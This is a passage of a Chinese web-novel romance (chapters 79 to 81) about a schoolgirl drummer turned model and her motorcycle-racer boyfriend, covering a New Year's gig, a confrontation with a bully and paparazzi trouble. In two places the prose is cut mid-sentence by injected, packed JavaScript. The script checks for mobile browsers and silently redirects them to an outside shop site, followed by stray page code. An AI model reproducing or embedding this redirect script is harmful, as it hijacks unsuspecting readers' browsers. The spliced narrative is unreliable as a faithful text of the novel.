希望你以后的人生不再破碎。 希望你的世界不会再有眼泪。 希望你跟世界的每一次交手都是赢家。 希望我是你命运的序章,也是你命运的回响。」 ——《小蝴蝶的日落》 他们在沙漠里看了一场日出,看完谢劲舟开着越野车带驰路吃了早饭,到学校时,赶上了第一节课。 回到学校,他们跟平时一样,看起来还是普通的同学关系。 只有他们知道,很多事都在悄然发生着变化。 他们给对方发信息的时间变多了,谢劲舟找她请教学习的时间变多了,会明目张胆地在草稿纸上写:阿驰,晚上去哪儿约会? 说是约会,其实是换了个地方刷题。 有时会去谢劲舟兼职的网吧,有时干脆在驰路的房间里,有时会去东郊摩托车行。 1月份即将期末考,驰路带着谢劲舟复习功课、刷卷子,大有一种要把他从倒数堆里拔出来的架势。 他算是她带的同学里领悟力最高的。 她跟他说:“舟哥,我们一起考北京的大学。” 谢劲舟刷题刷得有些心烦,把笔一丢,拉着驰路往外走,给她戴上头盔,跨坐到深蓝色摩托车上:“老子会陪你一起考北京的大学,你现在陪老子兜兜风,再学下去,要学傻了。” 那天星辰璀璨,跟去沙漠那晚一样。 身前的少年披着星光,带她穿越一片一片的风。 她靠在他后背,他为她挡去所有寒风。 …… 江迟放下卷子,跑到外面,看到跑道上,一辆深蓝色的摩托车疾驰着,上面的两个人亲密地靠在一起。 他们谈恋爱的消息,不胫而走,不过已不算什么新鲜事,毕竟之前两人没在一起时,便有各种谣言。 他们的一举一动,全在江迟的注视下。 许婉跟他说:“你该放手了吧,江同学。” 江迟知道,自己再无任何胜算,一种说不出的复杂情绪,在心头蹿起。 他放不放手,结局都一样。 苏漾望着一动不动的江迟,推了推他的胳膊:“不要在一棵树上吊死,好姑娘多得是,姐给你介绍一个,要不要?” “不用了。”江迟说,“学业为重。” * 元旦前夕,芳町三中举办了元旦晚会,本来没驰路什么事,一位鼓手却因为家里临时有事缺席了。 演绎的曲目是《尽情辉煌》。 是谢劲舟为霓虹酒吧写的主题曲,驰路之前跟清白乐队一起演奏过。 许婉知道她会,连忙让她江湖救急。 驰路本不想参加,却架不住乐队成员的多次央求和许婉的多次劝说。 在后台等待时,驰路化了淡妆,刚想要抹肉桂色口红,却被人拿走,细细地在她唇上描绘。 站在她面前,帮她涂口红的是,她新晋男朋友——谢劲舟。 许婉在一旁起哄:“舟哥,不带你这样撒狗粮的。” 谢劲舟依然旁若无人地帮驰路涂口红。 但直男涂完口红后,驰路看着镜子里的自己,忍不住笑出泪来。 这哪是涂口红,是毁容啊! “舟哥,你还是做摩托车手吧。”驰路抽出一张纸,边擦口红边说,“涂口红这事,我来!” 谁都不知道,在驰路上舞台前,她又涂了一遍口红。 因为,有人在黑暗的角落里,把她唇上的口红给弄花了。 …… 演奏曲目《尽情辉煌》时,舞台上有一名穿着校服、扎着马尾辫的女鼓手。 她看起来乖得不行,却演奏得气势磅礴,马尾辫随着身体的动作左右摆动,浑身透出一股由内而发的强大气场。 她身上的光,已经超越主唱、吉他手、贝斯手。 她浑身的每个细胞似乎都在咆哮、都在叫嚣,在跟这个世界宣战,在传达一种向上的力量。 “我艹,还说她像鼓手一姐,这就是鼓手一姐吧!!!” “跟霓虹酒吧的头牌鼓手的气质好像!” “她这是妥妥的仙女下凡啊!!!又纯又飒!” …… 台下响起此起彼伏的掌声。 她再次回到聚光灯下,再次在学校的大礼堂里演出,仿佛时光回溯到小学。 她是舞台上紧张的小学鸡,却做了充足准备,圆满完成演讲,迎来老师赞许的眼神、同学的掌声。 她想低调地在芳町三中度过最后的时光,却不想还会有这样的机会,站在这样的舞台上,站在聚光灯下,弹奏出青春的鼓点。 最后谢幕时,驰路跟其他人朝台下鞠躬,她一眼看到坐在人群中的谢劲舟。 他也正在看她,深邃的眸子里似乎含着笑意。 她看到他朝自己高举的手,正朝她竖起她大拇指。 她的神明,对她的褒奖,赤诚,又明目张胆。 她在黑暗里,看见了曙光。 * 走到后台,围上来几个男生,都是问驰路要联系方式的。 就在驰路感到一阵头大,想要拒绝时,一个高大的身影挡在了她的身前,一把揽住她的肩膀,跟男生们冷声说:“她是老子的人,你们别想了!” 他把她拖拽到礼堂后门,那里枯草丛生,礼堂里传来热闹的歌舞声。 在黑暗里,谢劲舟把他的蝴蝶,压在墙上,俯身含上她的唇珠,吻了又吻。 …… 芳町三中的元旦晚会,让驰路一炮走红,这是她没想到的。 校园贴吧里,关于造谣她的帖子不见了,一夜之间,她从万人唾弃的“杀人犯”,摇身一变,成了人人追捧的“纯飒女鼓手”。 更有一个戴着墨镜的女人给她递过来一张名片,问她要不要当模特、拍杂志。 从女人的介绍中,驰路得知她是模特经纪人,看到了她晚会上的演出,张弛有度,长相独特,只要她愿意当模特,一定会成为一颗冉冉升起的新星。 驰路收好了名片,说考虑考虑。 元旦假期放了三天,最后一天是元旦,大家都赶着十二月的最后一天,去闹市区迎接新年。 驰路被许婉拉着去了霓虹酒吧,不仅要凑一场大型歌舞热闹,还要继续当清白乐队的鼓手。 那晚,驰路破天荒地在去酒吧前化了浓妆,裹上一件羊绒大衣,坐在谢劲舟的摩托车上,来到了霓虹酒吧。 她这次没再穿蝴蝶吊带,而是穿了一件宽松红色毛衣,上面有一只白色蝴蝶,下面是一条黑色超短裙,套了双齐膝黑色长靴,露出纤直的白皙大腿,透出下身失踪的诱/惑性感。 他们在舞台上演奏新年快乐的歌曲,舞池上的年轻男女扭动着身体,他们在欢快的曲调中释放着激情。 驰路望着在墙角一侧饮酒的谢劲舟,眼尾往上一挑间,看到他朝自己举杯,再一饮而尽,仿佛在跟她隔空干杯。 她看到他说着什么,听不见,却好像在说“老子喜欢你”。 弹奏了几首,清白乐队下台休息,驰路往后台走时,经过一条长廊,听到尽头拐角有人在打电话,电话里正说着她的名字,她下意识停了下来,躲在墙角听。 “要不是江迟说那些,我怎么知道驰路在之前学校是杀人犯的事,我怀疑是江迟故意说给我听的。我还收到有人给我发的驰路的照片……上次下雨天,驰路被关小黑屋,是我找人做的,我就是想惩罚惩罚那个臭/biao/子,谁让她喜欢谁不好,偏要喜欢谢劲舟!我就是看不惯她那副清冷的高高在上的样子。她有什么好,那么多男生围绕着她!” 驰路放在身侧的手,不自觉握成拳。 她想过会不会是打电话的这个女生,但又被自己排除在外了。 因为她很久都没找过她的麻烦了,反而是她不认识的陌生人,会找她麻烦。 一个人对另一个人的恨意,大概不会轻而易举消散。 就像黎静对她的。 她对她,一直耿耿于怀。 有报仇的机会,她没放过。 驰路走出墙角,一把拿过黎静的手机,狠狠朝地上砸,手机立刻四分五裂。 黎静哪里会想到有人会过来,大家都在舞池那儿狂欢,她趁着大家热闹时分,过来接了通电话。 她更想不到,这通电话竟然被当事人听到了。 真是倒霉透了! 这还没完,她正弯腰要去捡破碎的手机时,被驰路拽着衣领往外拉,打开通往外面的门,迈上台阶。 黎静心里怕得厉害,表面上却强自镇定,挥手想要摆脱驰路,却不想她拽得更紧了,停住脚步,用凌厉的眼神瞪她,金属嗓音格外冷漠:“安静点!” 她把黎静拽到了露台上,照着她的脸狠狠地扇了一巴掌:“这是奖励你发造谣帖的!” 还没等黎静反应过来,反手又是一巴掌:“这是奖励你找人把我关小黑屋的!” 黎静没想到驰路是这样的主儿,她看起来乖得不行,开学伊始,找人对付她,也没见她有任何报复的举动,以为她是软柿子。 此刻的她,却像一只要吃人的猛兽,画了烟熏妆的眼睛充满了怒气。 黎静被打得怒气四溢,抬手就要朝驰路脸上打去。 但巴掌还没落到她脸上,手腕便被人拽住,她挣扎,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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驰路趁着空隙,拉起谢劲舟在舞池里舞动身姿。 她的身体似蛇,扭起来妩媚动人。 谢劲舟身体却僵硬似木头,任由驰路带着他舞动。 两人在拥挤的人群里,自成小世界。 射灯时而晃到驰路的脸上,又时而晃到谢劲舟的脸上,他们是光影中两个暧昧的身影,在嘈杂中,扣紧对方的手,环住对方的腰,舞尽暧昧。 许婉挤到了人群最前面,目光直视着舞台上边弹吉他边唱歌的程佑白,随着音乐节拍,一下下跳着。 有人找她搭讪,她也丝毫不理。 她全部的目光,只能给一个人。 罗子昂似喜悦的雀,一腿跨到了舞台上,一手高举手机,手机开着手电筒,不停挥舞着,一直目不转睛地看着时清。 他喜欢的姑娘,弹键盘的样子,真是太酷了! 他恨不得昭告天下:这个姑娘,是我的,你们谁都别碰。 他却没这个胆量,总觉得自己还配不上她。 她是舞台上耀眼的巨星,而他,不过是一个寂寂无名的小混混。 他要学舟爷,好好学习,到时跟时清考同一座城市的大学,制造更多跟她在一起的机会。 听到最后,罗子昂鼓足勇气,对着舞台上的时清说:“清清,你要等我!” 他的这句话,被融在了无数声此起彼伏的“清清,我爱你!!!”中。 勇气,被消了音。 他没有再说什么。 艹,还没她的粉丝们勇敢! …… 今晚,霓虹酒吧不打烊,大家都玩得尽兴。 演出结束,一行人浩浩荡荡地来到了二楼的露台上,人人手里都举着仙女棒,一一点燃。 五角星形状的、圆形的、心形的…… 各种形状的仙女棒刺啦啦地炸开,大家纷纷举起手中的仙女棒,朝着天空大喊:“新年快乐!” 驰路看着人群中的笑脸,好像,她终于走出深渊了。 她终于可以够得着星辰了。 她牵起谢劲舟的手,握住了她的星辰。 在热闹的人群中,谢劲舟俯身在她耳畔说:“新的一年,祝我的蝴蝶,自由飞翔,野蛮生长!” 在万千星辰下,在无人看见的瞬间,驰路轻轻咬了下谢劲舟的耳骨,用她那独特的金属嗓音说:“舟哥,新年快乐!你要灿烂,你要盛大,你要辉煌!你不必成为谁的光,但你要做我的太阳。” 一声“好”,轻轻飘飘、慵慵懒懒,却坚若磐石,落在她的耳边,也落在两人的小小世界里。 喜欢没有亏欠,心动没有止歇,十八岁的少女,甘愿做你一个人的蝴蝶。 十八岁的少年,爬上高墙,携一抹夕阳,送你不朽的莺飞草长。 来路荒唐,皆成过往,我们会奔去有彼此的远方。 80. 模特小蝴蝶 「小蝴蝶,我希望你红遍天。 希望那时候,你还能在我身边。」 ——《引路星》 元旦假期结束,驰路的生活又恢复到往常,枯燥的两点一线,不同的是,有谢劲舟陪着她,再枯燥的日子,都好像增添了一丝别样色彩。 他不用刻意地为自己去做点什么,只要他在身边,她就觉得挺好。 她跟江迟的相处变得很尴尬,她做不到装得跟他还像之前一样。 驰路有不会的题,不再问江迟,而是第一时间去问相关科目的老师。江迟再送她吃的,她统统拒绝。 他们是同桌,却成了世上最近的陌生人。 江迟极其敏感,自然发现了驰路的异样,专门喊她来到了顶楼的露台,问她为什么要这样对自己。 驰路不想遮掩什么,将自己从黎静那儿知道的事,跟江迟全盘而出。 她没有从江迟脸上看到悔意,甚至看到了他的笑意。 她问他为什么要那样做,江迟脸上的笑意忽然散了,转而露出忧伤,语气沉沉:“千允是我表妹。” 咚,似有巨石落入水面,溅起巨大涟漪。 驰路瞬间明白,为什么江迟要那样做了:“你还觉得是我害了千允吗?” “难道不是吗?”江迟脸上有怒意,“如果不是你,她会掉下去吗?” “这事,我解释过很多次了,我不想再跟谁解释了。”驰路目光空茫地望着远方的操场,看见有跳起来投框的少年,“你相信也好,不相信也罢,都是你的事。” “照片上的事,你怎么解释?”江迟锁眉追问。 “我想拽住她,可……还是没拽住。”驰路转过头去,吸了吸鼻子。 千允是她心头的一根刺,一旦提起,总能戳中她的软肋。 “怪我,没拽住她。”驰路的声音越说越低,金属嗓音有点泛哑。 谁都不再言语,过了许久,江迟说了句“对不起”才离开。 从起初靠近驰路,追她,追到后就甩了她,都是他想报复她的一环,只是现在想想,真是可笑得厉害。 感情不是买卖,不是说付出就能有回报的。 之前那次,他眼睁睁看着驰路在酒吧被一帮人追,他只是在暗处看着,什么都不做。他希望,她能受点惩罚,他以为她逃不过那帮人的捉弄,没想到谢劲舟来了。 运动会,他希望驰路出点意外,明知道她对芒果过敏,故意在比赛前给她准备了芒果饮料,没想到她靠意志力冲到了终点。 他无意间听到黎静要找人把驰路关起来,他跑了一栋栋楼,一间间教室地去找驰路,想来一出英雄救美,救出最落魄的驰路,再趁机跟她告白,却不想谢劲舟抢先过去了。 他原本可以做更多可以伤害她的事,但他没有,他只是看似无意地透露出驰路曾经伤害千允的事,偷偷用苏漾的手机给黎静发了驰路跟千允在露台上纠缠的照片。 江迟利用了黎静对她的嫉妒和恨意,来了一出借他人之手报复。 他知道自己,不再是最初那个满怀恨意的少年了。 在跟驰路相处的过程中,他发现,她心思单纯,乐于助人,怎么也不像是故意杀人的人。 是他没有拔掉心里的恨,是他一直把她当成伤害自己表妹的罪魁祸首。 好像只有找一只替罪羊,他才会好受一点。 他也曾纠结过、犹豫过,让自己收手,但千允最后的惨状,在无数个深夜里,一次次在他的脑中浮现,她一次次地跟他说:“帮我报仇。” 他总要做点什么吧,要不然怎么对得起曾经那个对他很好很好的表妹呢。 只是,到头来,真相却是,驰路哪里是什么凶手,她才是那个想要拯救表妹的人。 讽刺得厉害。 而他,错得彻底! …… 期末考试后,驰路听说江迟要转回之前的学校了,许婉说:“阿驰,以后年级第一的宝座就是你的了!” 谁都不知道,他们之间的那段谈话,谁也不知道江迟为什么要转回去。 驰路觉得这样挺好,不用再因为看到江迟而觉得别扭了。 许婉自告奋勇当了她的同桌,岑语欢说她真是忘恩负义,许婉振振有词:“我这是要向好同学学习,近水楼台先得月。” 所有人的生活都回到正轨,驰路的人生有了新变化,她思虑再三,拨通了上次找她的女经纪人的电话,签了经纪约,答应了杂志的拍摄。 她以为只是上杂志内页,却没料到登上了杂志封面。 当即给经纪人蓝姐打电话,问是怎么回事。 蓝姐告诉她,原本要登杂志的模特没时间,杂志主编看她格外上相,出来的片子效果也好,临时让她登了杂志封面。 杂志封面上的驰路,穿着一袭黑色裹身蕾丝裙,手上套着蕾丝手套,脖颈上戴着一条黑色蝴蝶颈链,复古妆容,烈焰红唇,冷艳妩媚,时尚大方,像一只妖艳的暗夜蝴蝶。 杂志发行后,芳町三中,连同其他初高中,一下子都炸开了锅,纷纷知道芳町三中出了个人物,不仅成绩拔尖,还是杂志模特。 驰路比之前更红了,问她要联系方式的人更多了。 只要谢劲舟能看到的、能帮她挡的,都挡走了。 他没有像之前一样宣誓主权,而是冷眼赶那些人走。 驰路觉得他跟之前不太一样了,深夜靠在二楼的阳台上抽烟,将烟圈吐到谢劲舟脸上,逗他:“怎么不跟那些人说我是你女朋友了?” “不想说。” 驰路走到谢劲舟身前,挑起他的下巴,直视他深邃的眼眸:“是不想说,还是不能说?” “不想!” 这人,怎么还这么嘴硬呢。 “蓝姐跟你说的话,我都听到了。”驰路直言不讳道,“她让你低调,让你别再说,你是我男朋友,说了怕影响我的星途。” 谢劲舟从她手里夺过烟,抽了几口后说:“老子,希望你红遍天。” 驰路一愣,转而控制不住地笑起来,几乎要笑出声,声音刚冒出来,便被人吻住,一阵阵烟雾被渡到她的唇齿间。 他狠狠地吻她,几乎要吻得她喘不过气。 “阿驰,你永远只能是我的!”谢劲舟轻轻咬了下她的舌尖,“不管是跌入泥潭,还是星光闪耀,你都是我的!” * 谢劲舟跟驰路相约,等春暖花开时,带她去静心小屋,一起看漫山遍野的洋桔梗;等天气转暖,带她再去一次沙漠,看日落、看星辰;等她还没红遍天时,要明目张胆地牵着她的手走遍芳町镇的每条街巷,要昭告天下人:“你是我的!”…… 谁在成长的路上都没停歇,驰路一边努力学习一边搞钱,两边都没耽误,只是比之前付出更多的时间和精力,睡眠时间压缩到每天只能睡四个多小时。 她没有模特的经验,就被蓝姐拉着进行各种集训,不只是练形体、表情,还被拉着去拍MV,她走的路越宽,需要学习的越多。 谢劲舟也没闲着,自己的女朋友越优秀,他越有强烈的压力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560797|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这股压力转变成动力。他不仅更加刻苦地学习,还加入了专业摩托车车队,多次参加赛车比赛,从镇里、县里、市里,再到全国比赛,一次次杀出重围,跻身全国决赛行列。 每一次他重要的比赛,驰路都会戴着口罩,在观众席上为他欢呼呐喊。 在跑道上疾驰的那个少年,是她的男朋友。 他张扬、肆意、热烈、横冲直撞。 他在无人的暗夜里,会摸着她右眼尾的胭脂痣,在她耳边低语:“老子喜欢你,我的蝴蝶!” 他会在她睡着后,轻轻吻她的唇,悄声说:“我的蝴蝶,我为你而战!” …… 随着他们的人气越来越高,谢鸿运回家的次数也越来越多,次次都是伸手要钱,数量一次比一次高。 谢劲舟恨不得把他的另一条腿也打断,让他没法再到处赌,但他没有,因为他怕谢鸿运瘫在家里,拖累奶奶。 谢鸿运除了问谢劲舟要钱,也会偷偷地问驰路要钱,每次都一脸笑得鸡贼地说:“阿驰啊,叔叔上次运气不太好,输了点,你再给点叔叔呗,等赢了,叔叔再还你。” 驰路知道这钱要是给了,铁定有去无回,她想攒钱去国外看驰岸,想攒钱留着自己上大学。 她的钱也不是大风刮来的,不可能轻易地给一个赌徒。 她笑着说一句软话:“叔叔,我没钱。” 谢鸿运这时会从裤袋里掏出一本卷成筒的杂志,摊开来,指着封面上的女生说:“叔叔都知道了,你现在可是芳町镇的大名人了,大名人怎么可能没钱。” 驰路不再搭理这个无赖,奈何她往左,他也往左,她往右,他也往右,生生挡去她的去路,一副不给钱就不让走的架势。 她心里腾起一股火,很想揍人,但念在他是谢劲舟老爸的份上,什么气都咽了下去,当面给他转账。 赌,是一条没有尽头的黑暗深渊,走得越远,只会陷得越深。 驰路给谢鸿运钱的事,一次没跟谢劲舟说过,但有一次被谢劲舟无意间看到,气得他直吼谢鸿运:“谢鸿运,你还是不是人!赌!就知道赌!你就恨不得把我们的钱都掏空,才肯罢休!!!” 谢鸿运只是惊了一下,很快恢复他死皮赖脸的无赖样,笑着,露出两排大黄牙,戳着谢劲舟的胸口,一下一下地点,边点边说:“臭小子,老子把你养这么大,你给点老子钱,怎么了,难道不是应该的吗。” 谢劲舟抓住谢鸿运的手,用力捏着,疼得谢鸿运龇牙,又耍起了之前的伎俩,朝着敞开的院门喊:“快来看啊,不孝子打老子了!要打死人了!” 谢劲舟一把甩开谢鸿运的手,拖着他就往院门走,边拖边厉声说:“谢鸿运,你给我记好了,你可以问我要钱,但驰路不可以!” “你现在给我滚,过年前都别再回来!” 谢鸿运使了蛮力,身体往后倾,还抬起一条好腿踢谢劲舟,不服气道:“这里是老子的家,老子想什么时候回来就什么时候回来。” “这么多够吗?”谢劲舟一把松开谢鸿运,从钱包里掏出几张红钞票扔到他身上。 “不够。”谢鸿运咧嘴笑,边笑边去抓飞舞在空中的钱,抓到一张,又迅速弯腰去捡地上的,生怕被人抢走。 “这么多呢?”谢劲舟又甩出十几张钞票,扔到他脸上、身上。 谢鸿运见钱眼开,捡起一张张票子,等捡完,心满意足地拖着他的那只瘸腿走出院墙。 院墙外,不知何时,架起了长枪短炮,把刚才的一幕记录下来。 81. 磕【驰舟】CP 「Z,我会努力红遍天。 如果有那一天,我想,我还会停留在你左肩。」 ——《小蝴蝶的日落》 谢劲舟发觉到不对,赶紧跑出去,一个个记者早有准备,开了车一溜烟开远了。 他追不上了。 邻居们看了一场好戏,各种声音都有。 “这哪里像是过日子的啊。” “小谢人不错,都去参加国家级的摩托车比赛了,这老子怎么还跟之前一样啊,天天去赌,没有哪回是赢的。” “他老子不就看中小谢参加摩托车比赛拿了奖金,趁机捞一笔吗。” “他小谢赚了钱,不要养活他、他奶奶、他妹妹,哪里能养得起一个赌徒啊。这样的日子,什么才是头啊。” …… 头顶悬着冬日暖融融的太阳,谢劲舟靠在院墙上,无力又颓丧。 他以为只要他足够努力、足够拼,一切都会好起来的。 在他的规划里,没有谢鸿运。 但谢鸿运,却是他生命里一根拔不掉的刺,时不时冒出来戳他一下。 现在好了,这根刺,不只是戳他,还戳他的蝴蝶。 他从来没有哪一刻这么希望谢鸿运能够离开这个世界。 如果他不在了,他的日子,才会真正地好起来吧。 谢奶奶、谢林乔的日子,也才会好过一点吧。 按照以往,谢劲舟非要吼一顿谢鸿运,或者揍他一顿,但他这次为了驰路,为了他们能平安迎接春节,希望能用钱摆平谢鸿运。 希望他在年前,不要再来打扰他们。 年后,也别来。 …… 当晚,关于驰路的新闻漫天飞,为了博读者眼球,报道者取了各种夸大其词的标题。 【芳町头牌模特被知名摩托车手包养】 【芳町头牌模特靠睡上位】 【芳町头牌模特跟赌徒的儿子乱搞】 …… 每一个话题里,都配有图片。 驰路看了一个又一个,不得不叹服这些记者偷拍的功力和拍摄的技巧。 照片里的她,坐在谢劲舟深蓝色的摩托车后面,揽着他的腰;她坐在观众席上,戴着墨镜,手中挥舞着“舟爷旗开得胜”的旗帜,脸上贴着“I?舟爷”的红色贴纸;她穿着睡衣靠在二楼阳台上抽烟,谢劲舟把她搂在怀里,吻她的侧脸;在栾花巷32号的院墙里,她看着谢劲舟朝谢鸿运撒钱,眼里透出悲凉的无奈…… 照片那么多,每一张的角度都被记者拍得极好。 就算她没化妆,也还是那么上镜,透着天然的大牌明星感。 评论两极分化,信以为真派,承担起各种骂她的声音,颜值为王派,扛起【驰舟】CP的大旗。 驰路正看得入神,电话响了,蓝姐打来的。 劈头盖脸地对她一通数落,大意是,你怎么那么不小心,谈个恋爱就谈吧,别那么明目张胆。 驰路一直耐着性子听蓝姐数落,直到蓝姐说:“从明天开始,我给你找个地方,你从那儿搬出来!” 驰路才开了口,不慌不忙地说:“蓝姐,什么我都可以听你的,就这条,不行!” * 蓝姐是什么人,混迹时尚圈、娱乐圈十年有余,什么样的模特、偶像、演员没见过,但像驰路这么犟的却是第一次遇到。 时尚圈、娱乐圈不是那么好混的,不是说你颜值高,就可以在圈里混得风生水起,有时需要凭点运气,有时需要凭借人脉,有时还需要点手段。 驰路有啥?有颜值,有镜头感,有创造力,但这远远不够。 一个演员不塌房,有好的名声、好的口碑,也极为重要。 驰路倒好,非但不听她劝,还固执地要跟谢劲舟扯在一起。 不管是模特,还是演员,粉丝都喜欢组CP,她可以跟别的高流量的明星组CP,但那个人不会是谢劲舟。 谢劲舟算什么,不过是刚进入全国决赛的赛车手,还没获得什么名次,网上虽然有他的一些出圈视频,但也就一阵风,讨论一阵就没了。 驰路想要有更好的前途,就应该跟谢劲舟分开,更应该跟他那个家庭再无瓜葛。 既然她不听劝,蓝姐只好由着她来。 至于她以后星途如何,全凭造化。 毕竟,有话题,总比没有话题强。 她现在还没到黑料漫天的地步,还是有一半的人磕【驰舟】CP。 放纵的结果是,年前一次拍杂志内页,驰路穿着一条黑色吊带短纱裙,跟另一个男模特拍情侣照。 一会儿驰路抬起一只手搭在男模特的肩膀上,一会儿男模特把手放在驰路的腰上,一会儿男模特跟驰路深情对望…… 一个个动作,演绎了情侣间的甜蜜、暧昧,俨然一对天作之合的情侣。 谁都不知道,在一群工作人员后面的不远处,谢劲舟站在黑暗中,看着眼前的一幕幕发生,眉头紧锁,痞帅的脸上布满郁色。 这是谢劲舟第一次看到驰路的工作,也是第一次看到她跟别人拍情侣照。 他知道这是她的工作,她投入其中,一颦一眸间,将妖娆、温柔演绎得淋漓尽致。 但他看得心里不是滋味,那是他的蝴蝶。 谢劲舟等到他们拍完,等到工作人员收工后,走进化妆间,看到了正打算换衣服的驰路。 驰路忘记锁门,惊得立刻转头,见是谢劲舟才松了口气。 “你怎么来了?”驰路裙子后背的拉链拉了一半,一侧的吊带悄然滑落。 “来看老子的蝴蝶。”谢劲舟走到她面前,一把将她抱起,一步步往后走,将她放到梳妆台上。 没有开大灯,只有梳妆台旁边安的一串小灯亮着,亮光照着她一半的侧脸。 驰路今天化了蝴蝶妆,左眼尾贴了一张黑色燕尾蝶的贴纸,眼睛周围散落着亮晶晶的钻片,睫毛长得如一把扇子,面色白皙,红唇烈焰。脖颈上戴着黑色蕾丝蝴蝶颈链,黑色蕾丝裙衬得她的肌肤盛雪。 从她最初拍杂志,便有粉丝纷纷说她像是从童话世界里走出来的【燕尾蝶公主】。 蓝姐抓住了她身上的这一特色,拍杂志时,会让妆造师打造她不一样的蝴蝶造型。 这样的驰路,拥有一股无法言说的魔力,看一眼,便会坠入她的燕尾蝶世界。 驰路只是看着谢劲舟,便能轻易地搅动他的心池,掀起一阵巨浪。 他挤在她的□□,她的短蕾丝裙被撩到大腿处,露出纤细修长的腿,右肩处滑落的肩带滑到肩头,后背的破碎燕尾蝶映在后面的镜子里。 她一半在光里,一半在阴影里,透出妩媚的欲。 谢劲舟一手揽住她的腰,一手托住她的后脑勺,狠狠地吻上她的红唇。 他不喜欢沾口红,但一沾上驰路的唇,似有魔力,让他次次沉沦。 驰路被他吻得浑身血液奔流涌动,此时的谢劲舟,直接,莽撞,热烈,像夏日午后的烈阳,带着汹涌的气势,闯入她的世界。 她用手抓着谢劲舟的肩头,他吻得越狠,她的指甲不由得嵌得深一点。 谢劲舟想起她跟男模特拍摄的画面,便不受控制地想要将她占有,狠狠碾磨着她的唇,探入她的唇齿间,又移到她的颈侧亲吻,手挪到了她后背的燕尾蝶文身上,一遍遍摩挲着她细腻的肌肤。 驰路被他吻得心跳如鼓,发出轻微的喘息声,为了克制,不由得咬住下嘴唇。 “舟哥,你发什么疯!”驰路见谢劲舟一直用力地吻她的脖颈,不禁低头看他。 他正埋头专注地不停地吻她的脖颈,似要将这片领域占为己有。 他疯起来,像头捕猎的野兽。 “这样会留下吻痕的。”驰路推开他的脑袋,捧着他的脸,望着他嘴唇上杂乱无章的红色,不禁笑了。 每次看到这样的谢劲舟,她都有种“谢大佬被拉下神坛,可爱到爆炸”的想法。 她抚摸着他颈侧的字母文身,笑着说:“舟哥,你这是要在我身上起舞?” “老子不在你身上起舞,老子要给你种草莓!”谢劲舟抬手,用大拇指的指腹压着驰路的下嘴唇扫过。 好像只有在她身上烙下一枚枚印记,才能证明,她是他的! “谢大佬,你醋坛子转世吧。”驰路发现谢劲舟总会在她跟别的男生有一些亲密接触后,对自己的进攻格外激烈。 谢劲舟一把将驰路拥在怀里,紧紧地靠着他的胸膛。 她听到了他的心跳声,咚咚咚,一下下,似落下的剧烈鼓点。 她的耳畔传来阵阵温热,他的唇贴着她的耳廓,弄得她心尖儿泛痒。 她听到他说:“我希望我的蝴蝶红遍天,也希望能停留在我左肩!” * 随着驰路的知名度越来越高,来栾花巷32号的记者也越来越多。 这已经打扰到驰路的正常生活,谢劲舟在加入摩托车车队前,辞掉了网吧的兼职,晚上用来摩托车训练和学习。 为了让驰路能有私人空间,谢劲舟提议去静心小屋住,不仅能躲避记者,也能躲避时不时伸手要钱的谢鸿运。 世界安静下来,两人过起了世外桃源般的生活。 驰路有杂志拍摄时,谢劲舟会开着摩托车带她过去,有时会在隔壁找家咖啡馆刷题,有时会开着摩托车到旷野之地练车。 驰路没工作时,会窝在静心小屋里刷题,会在午后走出小屋,到静心湖畔走一走,晒一晒午后的阳光,潇洒恣意。 通常散步时,驰路会拉上谢劲舟,两人漫步在湖边,俊男靓女,阳光洒在湖面上,也洒在他们身上,冬日里的金色世界,宛若一幅浓墨重彩的油画。 这期间,破天荒地老爸老妈主动给驰路打了几通电话,老爸先是寒暄两句,然后问当模特了怎么不告诉他一声。 她有什么好告诉他的?听驰岸说,老爸有了新对象,虽然比他大几岁,但开了几家饭店,手头有钱,他跟驰岸不用再在老破小的房子里度日,搬去了新对象的豪宅里。 老爸对着电话,让驰路好好干,将来必有大出息。 驰路知道老爸这人贼爱面子,她有出息了,就是往他脸上贴金。 老妈打电话的次数比老爸要多,第一次主动打来时,没有寒暄,直奔主题:“阿驰啊,妈妈看到你上杂志封面啦,还拍MV了,我家阿驰有出息啦!” 驰路以为老妈是真心以她为傲,但最后话题落点到了,拍一次杂志多少钱,拍MV多少钱,听到金额后,啧啧两声说:“才这么点啊。” “妈,我这不是刚接活儿吗,又不是大明星。” “你好好干,等以后赚多了,记得给妈妈买化妆品、买包包啊!” 驰路隐隐有些失落,老爸老妈对她的关心都别有用心。 她不知道以后他们的关系会怎样,从知道他们各自别有用心的失落,到有些想通了。 就算他们都别有用心又怎么样,最起码,当她能靠自己的能力获得一些名声和报酬后,老爸老妈能想起他们还有个女儿。 到底还是惦记着老爸老妈的那点温情。 她渴望跟别的同学一样,能得到老爸老妈的嘘寒问暖。 渴望他们能复合,渴望能回到他们身边。 她不想做这个世上无依无靠的蝴蝶,她想停在某处,自由自在地煽动翅膀。 这些心事,她藏在心底,没有跟任何人说。 她是世界的弃子,谢劲舟才是她可以停靠的舟。 …… 除夕那天,谢劲舟开着摩托车带驰路去超市进行了大采购,驰路给谢奶奶、谢林乔买了新衣服、新鞋。 置办好新年大礼包,两人来到了栾花巷32号,门前没了记者,想来是他们蹲守多日不见人,也就撤了。 谢奶奶这天没去摆摊,前一晚得知谢劲舟、驰路要回来跟他们一起过除夕,早早去市场买了菜,正在擀皮子、做饺子馅,看到两人拎着大包小包走过来,眉头一皱说:“小谢、阿驰,你们回来就回来了,买这么多东西做什么啊!” “哥哥,阿驰姐姐!”谢林乔正在贴对联,看到谢劲舟、驰路,对联不贴了,连忙扑到了谢劲舟怀里。 谢劲舟没管谢林乔手上、身上沾了对联的红色、胶水,一把将小姑娘抱起来,再举到头顶,看着阳光下笑得开心的小姑娘,问她:“想哥哥了没有?” 